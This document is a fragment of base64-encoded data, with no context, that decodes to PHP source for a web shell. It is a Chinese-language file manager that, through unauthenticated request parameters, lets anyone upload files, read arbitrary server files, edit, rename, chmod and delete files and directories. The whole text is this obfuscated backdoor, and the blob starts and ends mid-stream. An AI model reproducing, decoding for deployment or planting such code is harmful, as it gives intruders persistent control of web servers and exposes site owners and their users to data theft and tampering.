1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXb